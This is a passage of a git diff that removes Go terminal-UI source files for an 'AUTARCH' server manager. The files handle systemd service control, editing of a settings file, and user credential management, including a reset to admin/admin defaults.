if err := os.Rename(dstFile, srcFile); err != nil {
|
|
||||||
// It might just be a module without run()
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Note",
|
|
||||||
Lines: []string{"Module " + item.Name + " is present but has no run() entry point."},
|
|
||||||
IsError: false,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
a.listItems[idx].Enabled = true
|
|
||||||
}
|
|
||||||
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
@ -1,380 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Service Definitions ─────────────────────────────────────────────
|
|
||||||
|
|
||||||
type serviceInfo struct {
|
|
||||||
Name string
|
|
||||||
Unit string // systemd unit name
|
|
||||||
Desc string
|
|
||||||
Binary string // path to check
|
|
||||||
}
|
|
||||||
|
|
||||||
var managedServices = []serviceInfo{
|
|
||||||
{"AUTARCH Web", "autarch-web", "Web dashboard (Flask)", "autarch_web.py"},
|
|
||||||
{"AUTARCH DNS", "autarch-dns", "DNS server (Go)", "autarch-dns"},
|
|
||||||
{"AUTARCH Autonomy", "autarch-autonomy", "Autonomous AI daemon", ""},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderServiceMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("SERVICE MANAGEMENT"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Show service statuses — checks both systemd and raw processes
|
|
||||||
svcChecks := []struct {
|
|
||||||
Info serviceInfo
|
|
||||||
Process string // process name to pgrep for
|
|
||||||
}{
|
|
||||||
{managedServices[0], "autarch_web.py"},
|
|
||||||
{managedServices[1], "autarch-dns"},
|
|
||||||
{managedServices[2], "autonomy"},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, sc := range svcChecks {
|
|
||||||
status, running := getProcessStatus(sc.Info.Unit, sc.Process)
|
|
||||||
|
|
||||||
indicator := styleStatusOK.Render("● running")
|
|
||||||
if !running {
|
|
||||||
indicator = styleStatusBad.Render("○ stopped")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(fmt.Sprintf(" %s %s\n",
|
|
||||||
indicator,
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(sc.Info.Name),
|
|
||||||
))
|
|
||||||
b.WriteString(fmt.Sprintf(" %s %s\n",
|
|
||||||
styleDim.Render(sc.Info.Desc),
|
|
||||||
styleDim.Render("("+status+")"),
|
|
||||||
))
|
|
||||||
b.WriteString("\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" [1]") + " Start/Stop AUTARCH Web\n")
|
|
||||||
b.WriteString(styleKey.Render(" [2]") + " Start/Stop AUTARCH DNS\n")
|
|
||||||
b.WriteString(styleKey.Render(" [3]") + " Start/Stop Autonomy Daemon\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" [r]") + " Restart all running services\n")
|
|
||||||
b.WriteString(styleKey.Render(" [e]") + " Enable all services on boot\n")
|
|
||||||
b.WriteString(styleKey.Render(" [i]") + " Install/update systemd unit files\n")
|
|
||||||
b.WriteString(styleKey.Render(" [l]") + " View service logs (journalctl)\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleServiceMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "1":
|
|
||||||
return a.toggleService(0)
|
|
||||||
case "2":
|
|
||||||
return a.toggleService(1)
|
|
||||||
case "3":
|
|
||||||
return a.toggleService(2)
|
|
||||||
case "r":
|
|
||||||
return a.restartAllServices()
|
|
||||||
case "e":
|
|
||||||
return a.enableAllServices()
|
|
||||||
case "i":
|
|
||||||
return a.installServiceUnits()
|
|
||||||
case "l":
|
|
||||||
return a.viewServiceLogs()
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Commands ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) loadServiceStatus() tea.Cmd {
|
|
||||||
return nil // Services are checked live in render
|
|
||||||
}
|
|
||||||
|
|
||||||
func getServiceStatus(unit string) (string, bool) {
|
|
||||||
out, err := exec.Command("systemctl", "is-active", unit).Output()
|
|
||||||
status := strings.TrimSpace(string(out))
|
|
||||||
if err != nil || status != "active" {
|
|
||||||
// Check if unit exists
|
|
||||||
_, existErr := exec.Command("systemctl", "cat", unit).Output()
|
|
||||||
if existErr != nil {
|
|
||||||
return "not installed", false
|
|
||||||
}
|
|
||||||
return status, false
|
|
||||||
}
|
|
||||||
return status, true
|
|
||||||
}
|
|
||||||
|
|
||||||
// getProcessStatus checks both systemd and direct process for a service.
|
|
||||||
// Returns (status description, isRunning).
|
|
||||||
func getProcessStatus(unitName, processName string) (string, bool) {
|
|
||||||
// First try systemd
|
|
||||||
status, running := getServiceStatus(unitName)
|
|
||||||
if running {
|
|
||||||
return "systemd: " + status, true
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fall back to process detection (pgrep)
|
|
||||||
out, err := exec.Command("pgrep", "-f", processName).Output()
|
|
||||||
if err == nil && strings.TrimSpace(string(out)) != "" {
|
|
||||||
pids := strings.Fields(strings.TrimSpace(string(out)))
|
|
||||||
return fmt.Sprintf("running (PID %s)", pids[0]), true
|
|
||||||
}
|
|
||||||
|
|
||||||
return status, false
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) toggleService(idx int) (App, tea.Cmd) {
|
|
||||||
if idx < 0 || idx >= len(managedServices) {
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
svc := managedServices[idx]
|
|
||||||
processNames := []string{"autarch_web.py", "autarch-dns", "autonomy"}
|
|
||||||
procName := processNames[idx]
|
|
||||||
|
|
||||||
_, sysRunning := getServiceStatus(svc.Unit)
|
|
||||||
_, procRunning := getProcessStatus(svc.Unit, procName)
|
|
||||||
isRunning := sysRunning || procRunning
|
|
||||||
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
|
|
||||||
if isRunning {
|
|
||||||
// Stop — try systemd first, then kill process
|
|
||||||
if sysRunning {
|
|
||||||
cmd := exec.Command("systemctl", "stop", svc.Unit)
|
|
||||||
cmd.CombinedOutput()
|
|
||||||
}
|
|
||||||
// Also kill any direct processes
|
|
||||||
exec.Command("pkill", "-f", procName).Run()
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Service " + svc.Name,
|
|
||||||
Lines: []string{svc.Name + " stopped."},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start — try systemd first, fall back to direct launch
|
|
||||||
if _, err := exec.Command("systemctl", "cat", svc.Unit).Output(); err == nil {
|
|
||||||
cmd := exec.Command("systemctl", "start", svc.Unit)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Service Error",
|
|
||||||
Lines: []string{"systemctl start failed:", string(out), err.Error(), "", "Trying direct launch..."},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Service " + svc.Name,
|
|
||||||
Lines: []string{svc.Name + " started via systemd."},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Direct launch (no systemd unit installed)
|
|
||||||
var startCmd *exec.Cmd
|
|
||||||
switch idx {
|
|
||||||
case 0: // Web
|
|
||||||
venvPy := dir + "/venv/bin/python3"
|
|
||||||
startCmd = exec.Command(venvPy, dir+"/autarch_web.py")
|
|
||||||
case 1: // DNS
|
|
||||||
binary := dir + "/services/dns-server/autarch-dns"
|
|
||||||
configFile := dir + "/data/dns/config.json"
|
|
||||||
startCmd = exec.Command(binary, "--config", configFile)
|
|
||||||
case 2: // Autonomy
|
|
||||||
venvPy := dir + "/venv/bin/python3"
|
|
||||||
startCmd = exec.Command(venvPy, "-c",
|
|
||||||
"import sys; sys.path.insert(0,'"+dir+"'); from core.autonomy import AutonomyDaemon; AutonomyDaemon().run()")
|
|
||||||
}
|
|
||||||
|
|
||||||
if startCmd != nil {
|
|
||||||
startCmd.Dir = dir
|
|
||||||
// Detach process so it survives manager exit
|
|
||||||
startCmd.Stdout = nil
|
|
||||||
startCmd.Stderr = nil
|
|
||||||
if err := startCmd.Start(); err != nil {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Service Error",
|
|
||||||
Lines: []string{"Failed to start " + svc.Name + ":", err.Error()},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// Release so it runs independently
|
|
||||||
go startCmd.Wait()
|
|
||||||
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Service " + svc.Name,
|
|
||||||
Lines: []string{
|
|
||||||
svc.Name + " started directly (PID " + fmt.Sprintf("%d", startCmd.Process.Pid) + ").",
|
|
||||||
"",
|
|
||||||
styleDim.Render("Tip: Install systemd units with [i] for persistent service management."),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Error",
|
|
||||||
Lines: []string{"No start method available for " + svc.Name},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) restartAllServices() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
var lines []string
|
|
||||||
for _, svc := range managedServices {
|
|
||||||
_, running := getServiceStatus(svc.Unit)
|
|
||||||
if running {
|
|
||||||
cmd := exec.Command("systemctl", "restart", svc.Unit)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
lines = append(lines, styleError.Render("✘ "+svc.Name+": "+strings.TrimSpace(string(out))))
|
|
||||||
} else {
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ "+svc.Name+": restarted"))
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
lines = append(lines, styleDim.Render("- "+svc.Name+": not running, skipped"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "Restart Services", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) enableAllServices() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
var lines []string
|
|
||||||
for _, svc := range managedServices {
|
|
||||||
cmd := exec.Command("systemctl", "enable", svc.Unit)
|
|
||||||
_, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
lines = append(lines, styleWarning.Render("⚠ "+svc.Name+": could not enable (unit may not exist)"))
|
|
||||||
} else {
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ "+svc.Name+": enabled on boot"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "Enable Services", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) installServiceUnits() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
var lines []string
|
|
||||||
|
|
||||||
// Web service unit
|
|
||||||
webUnit := fmt.Sprintf(`[Unit]
|
|
||||||
Description=AUTARCH Web Dashboard
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
WorkingDirectory=%s
|
|
||||||
ExecStart=%s/venv/bin/python3 %s/autarch_web.py
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=5
|
|
||||||
Environment=PYTHONUNBUFFERED=1
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`, dir, dir, dir)
|
|
||||||
|
|
||||||
// DNS service unit
|
|
||||||
dnsUnit := fmt.Sprintf(`[Unit]
|
|
||||||
Description=AUTARCH DNS Server
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
WorkingDirectory=%s
|
|
||||||
ExecStart=%s/services/dns-server/autarch-dns --config %s/data/dns/config.json
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=5
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`, dir, dir, dir)
|
|
||||||
|
|
||||||
// Autonomy daemon unit
|
|
||||||
autoUnit := fmt.Sprintf(`[Unit]
|
|
||||||
Description=AUTARCH Autonomy Daemon
|
|
||||||
After=network.target autarch-web.service
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
WorkingDirectory=%s
|
|
||||||
ExecStart=%s/venv/bin/python3 -c "from core.autonomy import AutonomyDaemon; AutonomyDaemon().run()"
|
|
||||||
Restart=on-failure
|
|
||||||
RestartSec=10
|
|
||||||
Environment=PYTHONUNBUFFERED=1
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
`, dir, dir)
|
|
||||||
|
|
||||||
units := map[string]string{
|
|
||||||
"autarch-web.service": webUnit,
|
|
||||||
"autarch-dns.service": dnsUnit,
|
|
||||||
"autarch-autonomy.service": autoUnit,
|
|
||||||
}
|
|
||||||
|
|
||||||
for name, content := range units {
|
|
||||||
path := "/etc/systemd/system/" + name
|
|
||||||
if err := writeFileAtomic(path, []byte(content)); err != nil {
|
|
||||||
lines = append(lines, styleError.Render("✘ "+name+": "+err.Error()))
|
|
||||||
} else {
|
|
||||||
lines = append(lines, styleSuccess.Render("✔ "+name+": installed"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Reload systemd
|
|
||||||
exec.Command("systemctl", "daemon-reload").Run()
|
|
||||||
lines = append(lines, "", styleSuccess.Render("✔ systemctl daemon-reload"))
|
|
||||||
|
|
||||||
return ResultMsg{Title: "Service Units Installed", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) viewServiceLogs() (App, tea.Cmd) {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
var lines []string
|
|
||||||
for _, svc := range managedServices {
|
|
||||||
out, _ := exec.Command("journalctl", "-u", svc.Unit, "-n", "10", "--no-pager").Output()
|
|
||||||
lines = append(lines, styleKey.Render("── "+svc.Name+" ──"))
|
|
||||||
logLines := strings.Split(strings.TrimSpace(string(out)), "\n")
|
|
||||||
for _, l := range logLines {
|
|
||||||
lines = append(lines, " "+l)
|
|
||||||
}
|
|
||||||
lines = append(lines, "")
|
|
||||||
}
|
|
||||||
return ResultMsg{Title: "Service Logs (last 10 entries)", Lines: lines}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func writeFileAtomic(path string, data []byte) error {
|
|
||||||
tmp := path + ".tmp"
|
|
||||||
if err := writeFile(tmp, data, 0644); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return renameFile(tmp, path)
|
|
||||||
}
|
|
||||||
@ -1,249 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"sort"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/charmbracelet/bubbles/textinput"
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
|
|
||||||
"github.com/darkhal/autarch-server-manager/internal/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderSettingsSections() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("SETTINGS — autarch_settings.conf"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
if len(a.settingsSections) == 0 {
|
|
||||||
b.WriteString(styleDim.Render(" Loading..."))
|
|
||||||
b.WriteString("\n")
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, sec := range a.settingsSections {
|
|
||||||
cursor := " "
|
|
||||||
if i == a.cursor {
|
|
||||||
cursor = styleSelected.Render(" ▸") + " "
|
|
||||||
b.WriteString(cursor + styleKey.Render("["+sec+"]") + "\n")
|
|
||||||
} else {
|
|
||||||
b.WriteString(cursor + styleDim.Render("["+sec+"]") + "\n")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString(styleKey.Render(" [enter]") + " Edit section ")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) renderSettingsKeys() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render(fmt.Sprintf("SETTINGS — [%s]", a.settingsSection)))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
for i, key := range a.settingsKeys {
|
|
||||||
val := ""
|
|
||||||
if i < len(a.settingsVals) {
|
|
||||||
val = a.settingsVals[i]
|
|
||||||
}
|
|
||||||
|
|
||||||
cursor := " "
|
|
||||||
if i == a.cursor {
|
|
||||||
cursor = styleSelected.Render(" ▸") + " "
|
|
||||||
}
|
|
||||||
|
|
||||||
// Mask sensitive values
|
|
||||||
displayVal := val
|
|
||||||
if isSensitiveKey(key) && len(val) > 4 {
|
|
||||||
displayVal = val[:4] + strings.Repeat("•", len(val)-4)
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(fmt.Sprintf("%s%s = %s\n",
|
|
||||||
cursor,
|
|
||||||
styleKey.Render(key),
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Render(displayVal),
|
|
||||||
))
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString(styleKey.Render(" [enter]") + " Edit all values ")
|
|
||||||
b.WriteString(styleKey.Render("[d]") + " Edit selected ")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
func isSensitiveKey(key string) bool {
|
|
||||||
k := strings.ToLower(key)
|
|
||||||
return strings.Contains(k, "password") || strings.Contains(k, "secret") ||
|
|
||||||
strings.Contains(k, "api_key") || strings.Contains(k, "token")
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleSettingsMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "enter":
|
|
||||||
if a.cursor >= 0 && a.cursor < len(a.settingsSections) {
|
|
||||||
a.settingsSection = a.settingsSections[a.cursor]
|
|
||||||
return a.loadSettingsSection()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) handleSettingsSection(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "enter":
|
|
||||||
// Edit all values in this section
|
|
||||||
return a.openSettingsEdit()
|
|
||||||
case "d":
|
|
||||||
// Edit single selected value
|
|
||||||
if a.cursor >= 0 && a.cursor < len(a.settingsKeys) {
|
|
||||||
return a.openSingleSettingEdit(a.cursor)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Commands ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) loadSettings() tea.Cmd {
|
|
||||||
return func() tea.Msg {
|
|
||||||
confPath := findAutarchDir() + "/autarch_settings.conf"
|
|
||||||
sections, err := config.ListSections(confPath)
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Error",
|
|
||||||
Lines: []string{"Cannot read config: " + err.Error()},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
sort.Strings(sections)
|
|
||||||
return settingsLoadedMsg{sections: sections}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
type settingsLoadedMsg struct{ sections []string }
|
|
||||||
|
|
||||||
func (a App) loadSettingsSection() (App, tea.Cmd) {
|
|
||||||
confPath := findAutarchDir() + "/autarch_settings.conf"
|
|
||||||
keys, vals, err := config.GetSection(confPath, a.settingsSection)
|
|
||||||
if err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Error",
|
|
||||||
Lines: []string{err.Error()},
|
|
||||||
IsError: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
a.settingsKeys = keys
|
|
||||||
a.settingsVals = vals
|
|
||||||
a.pushView(ViewSettingsSection)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) openSettingsEdit() (App, tea.Cmd) {
|
|
||||||
a.labels = make([]string, len(a.settingsKeys))
|
|
||||||
a.inputs = make([]textinput.Model, len(a.settingsKeys))
|
|
||||||
copy(a.labels, a.settingsKeys)
|
|
||||||
|
|
||||||
for i, val := range a.settingsVals {
|
|
||||||
ti := textinput.New()
|
|
||||||
ti.CharLimit = 512
|
|
||||||
ti.Width = 50
|
|
||||||
ti.SetValue(val)
|
|
||||||
if isSensitiveKey(a.settingsKeys[i]) {
|
|
||||||
ti.EchoMode = textinput.EchoPassword
|
|
||||||
}
|
|
||||||
if i == 0 {
|
|
||||||
ti.Focus()
|
|
||||||
}
|
|
||||||
a.inputs[i] = ti
|
|
||||||
}
|
|
||||||
|
|
||||||
a.focusIdx = 0
|
|
||||||
a.pushView(ViewSettingsEdit)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) openSingleSettingEdit(idx int) (App, tea.Cmd) {
|
|
||||||
a.labels = []string{a.settingsKeys[idx]}
|
|
||||||
a.inputs = make([]textinput.Model, 1)
|
|
||||||
|
|
||||||
ti := textinput.New()
|
|
||||||
ti.CharLimit = 512
|
|
||||||
ti.Width = 50
|
|
||||||
ti.SetValue(a.settingsVals[idx])
|
|
||||||
if isSensitiveKey(a.settingsKeys[idx]) {
|
|
||||||
ti.EchoMode = textinput.EchoPassword
|
|
||||||
}
|
|
||||||
ti.Focus()
|
|
||||||
a.inputs[0] = ti
|
|
||||||
a.focusIdx = 0
|
|
||||||
a.pushView(ViewSettingsEdit)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) saveSettings() (App, tea.Cmd) {
|
|
||||||
confPath := findAutarchDir() + "/autarch_settings.conf"
|
|
||||||
|
|
||||||
// Read the full config file
|
|
||||||
data, err := os.ReadFile(confPath)
|
|
||||||
if err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
content := string(data)
|
|
||||||
|
|
||||||
// Apply changes
|
|
||||||
for i, label := range a.labels {
|
|
||||||
newVal := a.inputs[i].Value()
|
|
||||||
content = config.SetValue(content, a.settingsSection, label, newVal)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := os.WriteFile(confPath, []byte(content), 0644); err != nil {
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
a.popView()
|
|
||||||
|
|
||||||
// Reload the section
|
|
||||||
keys, vals, _ := config.GetSection(confPath, a.settingsSection)
|
|
||||||
a.settingsKeys = keys
|
|
||||||
a.settingsVals = vals
|
|
||||||
|
|
||||||
return a, func() tea.Msg {
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Settings Saved",
|
|
||||||
Lines: []string{
|
|
||||||
fmt.Sprintf("Updated [%s] section with %d values.", a.settingsSection, len(a.labels)),
|
|
||||||
"",
|
|
||||||
"Restart AUTARCH services for changes to take effect.",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,225 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/charmbracelet/bubbles/textinput"
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
|
|
||||||
"github.com/darkhal/autarch-server-manager/internal/users"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Rendering ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) renderUsersMenu() string {
|
|
||||||
var b strings.Builder
|
|
||||||
|
|
||||||
b.WriteString(styleTitle.Render("USER MANAGEMENT"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
// Show current credentials info
|
|
||||||
dir := findAutarchDir()
|
|
||||||
creds, err := users.LoadCredentials(dir)
|
|
||||||
if err != nil {
|
|
||||||
b.WriteString(styleWarning.Render(" No credentials file found — using defaults (admin/admin)"))
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleKey.Render("Current user: ") +
|
|
||||||
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(creds.Username))
|
|
||||||
b.WriteString("\n")
|
|
||||||
if creds.ForceChange {
|
|
||||||
b.WriteString(" " + styleWarning.Render("⚠ Password change required on next login"))
|
|
||||||
} else {
|
|
||||||
b.WriteString(" " + styleSuccess.Render("✔ Password is set"))
|
|
||||||
}
|
|
||||||
b.WriteString("\n\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
b.WriteString(a.renderHR())
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleKey.Render(" [c]") + " Create new user / change username\n")
|
|
||||||
b.WriteString(styleKey.Render(" [r]") + " Reset password\n")
|
|
||||||
b.WriteString(styleKey.Render(" [f]") + " Force password change on next login\n")
|
|
||||||
b.WriteString(styleKey.Render(" [d]") + " Reset to defaults (admin/admin)\n")
|
|
||||||
b.WriteString("\n")
|
|
||||||
b.WriteString(styleDim.Render(" esc back"))
|
|
||||||
b.WriteString("\n")
|
|
||||||
|
|
||||||
return b.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Handling ────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) handleUsersMenu(key string) (tea.Model, tea.Cmd) {
|
|
||||||
switch key {
|
|
||||||
case "c":
|
|
||||||
return a.openUserCreateForm()
|
|
||||||
case "r":
|
|
||||||
return a.openUserResetForm()
|
|
||||||
case "f":
|
|
||||||
return a.forcePasswordChange()
|
|
||||||
case "d":
|
|
||||||
a.confirmPrompt = "Reset credentials to admin/admin? This cannot be undone."
|
|
||||||
a.confirmAction = func() tea.Cmd {
|
|
||||||
return func() tea.Msg {
|
|
||||||
dir := findAutarchDir()
|
|
||||||
err := users.ResetToDefaults(dir)
|
|
||||||
if err != nil {
|
|
||||||
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
|
|
||||||
}
|
|
||||||
return ResultMsg{
|
|
||||||
Title: "Credentials Reset",
|
|
||||||
Lines: []string{
|
|
||||||
"Username: admin",
|
|
||||||
"Password: admin",
|
|
||||||
"",
|
|
||||||
"Force change on next login: YES",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
a.pushView(ViewConfirm)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Forms ───────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
func (a App) openUserCreateForm() (App, tea.Cmd) {
|
|
||||||
a.labels = []string{"Username", "Password", "Confirm Password"}
|
|
||||||
a.inputs = make([]textinput.Model, 3)
|
|
||||||
|
|
||||||
for i := range a.inputs {
|
|
||||||
ti := textinput.New()
|
|
||||||
ti.CharLimit = 128
|
|
||||||
ti.Width = 40
|
|
||||||
if i > 0 {
|
|
||||||
ti.EchoMode = textinput.EchoPassword
|
|
||||||
}
|
|
||||||
if i == 0 {
|
|
||||||
ti.Focus()
|
|
||||||
}
|
|
||||||
a.inputs[i] = ti
|
|
||||||
}
|
|
||||||
|
|
||||||
a.focusIdx = 0
|
|
||||||
a.pushView(ViewUsersCreate)
|
|
||||||
return a, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (a App) openUserResetForm() (App, tea.Cmd) {
|
|
||||||
